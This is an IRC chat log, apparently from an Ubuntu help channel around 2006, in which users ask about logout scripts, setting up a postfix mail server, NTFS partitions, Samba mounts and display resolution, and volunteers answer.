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mnoirmcm832: that would be at the user level - man bash and look for the explanation of .bash_logout11:49
MooseSend and receive.11:49
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mcm832mnoir: All I can find googling is do run stuff after gnome-session in .xsession, but that is no good since my system does not need an .xsession per user and I want to do it for all users on the system11:49
mcm832.bash_logout is not run when in a gnome session11:49
mcm832just stuff like ssh'ing into a server11:49
Flosoft2stefg: The last two options are --11:50
Grok_synaptic shows firefox 1.5 as the latest version in the repositories. Is there another way to install 2.0 using a package manager?11:50
mnoirmcm832: but you want it to run when a user logsout.  that may take some research :)11:50
Moose||cw: I'm trying to run one so I can have an email address like moose@mydomain.com and check it using a windows based mail client11:50
Flosoft2so do I put simply noacpi behind that?11:50
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un_operateurmcm832, but on a system-level you would need superuser access .. something the user does not have11:50
mcm832mnoir: Hense why I am here :)11:50
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kohr_stefg, http://paste.ubuntu-nl.org/1363/11:50
mcm832un_operateur: I am the sysadmin. I want something to be foreced when a user logsout11:50
||cwMoose: for a full blown mail server, I prefer postfix.  sudo apt-get install postfix11:50
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Moose||cw: Thanks again :)11:51
mnoirmcm832: that may be beyond the awareness of this group - whilst waiting here you may want to hit some more conventional support groups like for gnome11:51
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mnoirdunno the group for gnome11:51
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un_operateurmcm832, the point i am making is -- are you logged in root for your logout script to have a system-wide effect? :)11:51
mcm832mnoir: Figured it was worth a shot, thanks11:51
mnoirchannel i mean11:51
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eXistenZHow can I unzip all folders in some directory?11:51
mnoirmcm832: i am interested in the answer :)11:51
eXistenZunzip *.zip didn't work11:51
stefgkohr_: there's no partition on that drive! (as the kernel thinks)... sata cntroller?11:52
s34nsince the xserver-xorg update 2 days ago Ihave lost my Montor settings 3 times on 2 PC with 2 different distros11:52
mcm832un_operateur: Root can set files in etc that are sourced by user processes, hense having an effect on the user environment11:52
RprpHmm, i tried to install firefox 2.0, but if i start firefox i get the follow error: http://rafb.net/p/zOk67b64.html <--- Whats wrong?11:52
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||cwMoose: you'll also need a pop3 and/or imap server, I prefer courier for this11:52
kohr_stefg, I havn't partitioned it yet, i am still in gparted11:52
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kohr_stefg, It won't let me select ntfs11:52
mnoirmcm832: depending on what you actually need, you might look into the runlevel (6.06) or upstart(6.10) stuff11:52
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mcm832mnoir: Unfortunatly I am actually doing this on solaris. I happen to like ubuntu and know the community to be knowladgeable and friendly11:53
OiPenguinI've tried instaling Ubuntu previously but had to give up because I couldn't get online. How so I find out whether my hardware is supported and what do I do if it isn't? I've got an obscure, cheap USB-wireless.11:53
mnoirmcm832: doesn't sound like that is exactly what you want tho11:53
craigbass1976can someone tell me what ails this command?  mount -t smbfs //192.168.0.73/Documnents/ /mnt11:53
un_operateurmcm832, errm, not a good idea to have world-writeable files in /etc -- but anyway -- /etc/gdm/PostSession/Default11:53
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craigbass1976I get wrong fs type, bad option, blahblah11:53
stefgkohr_: of course... gPared can deal with *existing* ntfs partitions to some extend, but can't (of course) make an ntfs partition, 'cos that's no  linux fs11:54
craigI have a 64 bit chip, but do I really need the 64 bit version of ubuntu, or will it give me headaches like windows 64 does?11:54
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un_operateurmcm832, IIRc you can make your own script and place it in   /etc/gdm/PostSession11:54
||cwcraig: I'd stick with the 32 bit11:54
Super_PollosHello! Im finally using ubuntu although its on a live CD as i dont want to uninstall windows XP but it seems to have a very low screen res. can I change that? the max it allows me to select is 1024x76811:54
Flosoft2why isn't there a way to see the console output while boot with the splashscreen11:54
kohr_stefg, so do i make it in wondows, or make it a fat32 fs?11:54
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Flosoft2I know SuSE has an option to press F2 to see the console11:54
Flosoft2very good for debugging11:54
craigok, i'll stick with 32 bit then thanks man11:54
stefgkohr_: if you need ntfs, make it in win11:55
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RememberPOLWould there be any reason why my laptop's LCD doesn't blank while the lid is closed? (i come back two hours later and my keyboard is super hot..)11:55
kohr_stefg, I will just do fat3211:55
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un_operateurFlosoft2, there is -- IIRC, when booting, at the grub menu .. select the kernel you want to boot into .. press 'e' .. and clear the words 'splash' from the end11:55
Moose||cw: Do you know of any guides on how to setup postfix?11:55
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Moose||cw: Outside of the default configuration that is, like to setup user accounts and such?11:56
||cwMoose: postfix has a good one, but for a single domain mail server the defaults tend to work very well11:56
stefgkohr_: whatever floats your boat... but this is not the drive you are going to install ubutu on is it?11:56
||cwMoose: it will use system users11:56
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sarcevichi11:57
Moose||cw: How would I go about creating a system user with no permissions except for sending/receiving email?11:57
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||cwMoose: if you want vhosts and virtual users, you'll need some additional packages11:57
Super_Polloshow do you change the resolution setting in ubuntu higher than the available 1024x768 an it onyl allows me select that option, i have a monitor capable of 1280x102411:57
kohr_stefg, i already have ubuntu on a drive11:57
||cwMoose: set the login shell to /bin/false.  they will still need a home dir though11:57
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sarcevici've a problem, how can I stop the execution of an operation?11:57
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stefgkohr_: huh?... according to your paste it's completly unused11:58
un_operateursarcevic, errm, what kind of operation ?11:58
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toulousehey guys, i tried installing another linux, so when it prompted me to install GRub, i said no,  because when i boot into ubuntu it says "grup loading (blahblahblah)", but now i dont know how to get into that other os11:58
sarcevici done apt-get install apache2 but it ask me to insert a cdrom11:58
Moose||cw: So for users who I don't want to have any permissionms, set their login shell to /bin/false? or is that a system wide change?11:58
sarcevici can't now11:58
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||cwMoose: if you can't find any clear ubuntu+postfix howto's, the debian ones should work just as well11:58
sarcevicthe server is not here!11:58
||cwMoose: per user11:58
kohr_stefg, on another drive11:58
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Super_Pollosleave11:59
un_operateursarcevic, CTRL+C11:59
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stefgkohr_: this is not the drive you are going to install ubutu on is it?11:59
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||cwsarcevic: ctrl-c11:59
sarcevicthanks a lot!11:59
kohr_stefg, no, it is not the drive i am going to install ubuntu on11:59
un_operateursarcevic, sometimes CTRL+D or CTRL+Z work too11:59
||cwsarcevic: then edit the /etc/apt/sources.list and comment out the cdrom line.  then apt-get update11:59
Enverexhmm, does anyone know if there are any repos for things like updated versions of what's in the official repos? (kinda annoying having to wait 4 months for program updates)11:59
sarcevici'm so newbie (we call people like me "niubbo" in italy)11:59
stefgkohr_: so there's no mkfs.ntfs utility... ntfs can only be made in win11:59
Moose||cw: Alright, and I need to make a home dir for each user, no matter if I want them to have access or not?12:00
jmdcI'm trying to set up network-manager, but it doesn't see any interfaces. Suggestions or pointers to documentation would be great12:00
bradleyi have a super weird thing occurring! my music is not playing at the right speed.  i use rhythmbox and exaile.  what is happening!?12:00
||cwMoose: yes, for a place to store the email12:00
bradley(it is slowing down)12:00
un_operateurEnverex, if you want true bleeding edge, you should move to red-hat :) just kidding .. if you have the backports and security repos, you should be ok12:00
kohr_bradley are you speeding up instead?12:00
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Enverexun_operateur, hrm, just wondering why things like OO2.1 aren't out then12:01
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